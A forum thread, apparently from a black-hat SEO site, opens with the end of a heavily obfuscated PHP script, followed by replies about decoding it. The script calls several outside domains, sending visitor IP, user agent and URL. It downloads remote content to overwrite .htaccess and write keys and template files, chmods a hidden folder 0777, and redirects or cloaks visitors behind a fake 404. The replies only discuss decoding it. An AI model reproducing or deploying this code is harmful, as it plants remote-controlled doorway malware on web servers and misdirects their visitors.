0xffff) {$x22 = $x59("\162.\x61\x6cl\157\x77", 'w');$x5a($x22, '1');$x53($x22);}return false;}function x1d($x3b) { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; $x42 = $x6c($x64('-', ' ', $x3b));$x12 = $x6c(x0f());$x43 = $x6c(x10());$x44 = $x6c("\150\x74t\160\072\x2f\x2f" . $_SERVER["H\124\x54\120_H\x4f\123\x54"] . $_SERVER["\122EQ\125\105S\x54\137\x55\122I"]);$x21 = array("\x73\x75m\x65\144\163\056\x63\157m", "4a\163\164o\153\056\142\x69\x7a", "\x33\162\145s\x65\x72\x76.n\x65\164", "rx\164he\155e\x73\x2e\x63om");foreach($x21 as $x0f) {$x45 = "\x68\x74t\x70\x3a\057/".$x0f."\057rt\144s/\165\x2e\160\150\160?s\151d\x3d\x53I\104\x26\151\x70\x3d$x12\046ua\075$x43\x26\x75\157\162\075$x44&d\x65\146\x61\165\154t_\153\x65y\075$x42";$x46 = x0b($x45);if($x66($x46, 'http://')) break;}return $x46;}function x1e() { ****** $x48,$x49,$x4a,$x4b,$x4c,$x4d,$x4e,$x4f,$x50,$x51,$x52,$x53,$x54,$x55,$x56,$x57,$x58,$x59,$x5a,$x5b,$x5c,$x5d,$x5e,$x5f,$x60,$x61,$x62,$x63,$x64,$x65,$x66,$x67,$x68,$x69,$x6a,$x6b,$x6c; if (!$x5b("\x63u\162l\x5fin\151t")) exit("\156\157\040\x63u\x72\x6c");if (!$x54(".\150\x74a\143\x63\145\163\x73")) {$x18 = x0b("\x68\164\164\x70\072\057\057\x73um\x65\x64\163\056c\157m\x2f\x72td\x73\x2f\164ools/\150t.\x70h\x70");$x47 = $x4a($_SERVER["\120H\x50\x5fS\105\x4cF"]);$x18 = $x64("\x25\x66\151\154\145\x5fn\141\x6d\145\x25", $x47, $x18);$x22 = $x59(".ht\x61\x63c\x65\x73s", 'w');$x5a($x22, $x18);$x53($x22);}if (!$x54("k\x65y\x73.t\x78\x74")) {$x18 = x0b("\150\164t\x70\x3a\x2f/\x73\165\155\145d\163\x2eco\x6d/\162\x74\144\x73\057\x74oo\154\x73/\x6bey\x73\x2eph\160");$x22 = $x59("\153\145ys\x2e\164\x78\164", 'w');$x5a($x22, $x18);$x53($x22);}if (!$x54("\x74pl\x2ed\x6ft")) {$x18 = x0b("\x68\164tp:\x2f\057\x73\x75m\x65\x64\x73\x2e\x63\x6f\155/\x72\x74\144s/\x74\x6fo\154\x73/\162nd_\164\x70\154\056\160\x68\x70");$x22 = $x59("\164p\154\056\x64ot", 'w');$x5a($x22, $x18);$x53($x22);}if (!$x54("\x64o\x6d\x73\x2e\164\x78t") || $x6a() - $x57("do\155s\x2et\x78\x74") > T_1) {$x18 = x0b("h\x74\x74\160\x3a//\163\x75\155e\144\163\056c\157\155/\162\x74\x64s\x2f\x74\x6f\x6f\x6c\x73\x2f\x64\x6fm\x73.\x70\x68\x70");$x22 = $x59("\x64\157\x6d\163\x2e\x74\170t", 'w');$x5a($x22, $x18);$x53($x22);}}@$x60("\x2e\x2f\056\143");@$x4b("\x2e\x2f\056c", 0777);x1e();if ($x3b = $_GET["p"]) {if ($x3b == "\x73\171\163\x6dap") {x1b(true);} elseif ($x3b == "\x73i\x74\145\155\141\160") {x1b();} elseif (x18() || !x1c()) {echo x1a($x3b);} else {$x46 = x1d($x3b);$x5c("\114\x6fc\141ti\x6fn:\x20" . $x46);}} else {$x5c("\110\x54\124\120\x2f\x31\0560 \x340\x34 N\x6f\x74\x20\x46\157\x75\x6ed");}
    
    ?>
     
  2. brazero

    brazero Newbie

    Joined:
    Oct 30, 2009
    Messages:
    9
    Likes Received:
    1
    I have decoded this (you still have to do some search/replace)
    but i can't post it and don't have enough posts to send you a PM...
    give me your email and i will send it to you.

    Brazero
     
  3. mattblack

    mattblack Regular Member

    Joined:
    Nov 12, 2008
    Messages:
    324
    Likes Received:
    105
    Home Page:
    PM sent
     
  4. The Scarlet Pimp

    The Scarlet Pimp Jr. VIP Jr. VIP Premium Member

    Joined:
    Apr 2, 2008
    Messages:
    787
    Likes Received:
    3,117
    Occupation:
    Chair moistener.
    Location:
    Cyberspace
    i've gotta buncha codes like that. which script decodes those???
     
  5. brazero

    brazero Newbie

    Joined:
    Oct 30, 2009
    Messages:
    9
    Likes Received:
    1
    I didn't find any reasy to use script to do this...
    I code one, it works but it's still far to be perfect !
     
  6. SleepieGirl

    SleepieGirl Regular Member

    Joined:
    Mar 7, 2009
    Messages:
    439
    Likes Received:
    290
    Occupation:
    Need Custom Programs? Message Me!!!
    Location:
    TenDollarBlog.com
    so what is that t.php?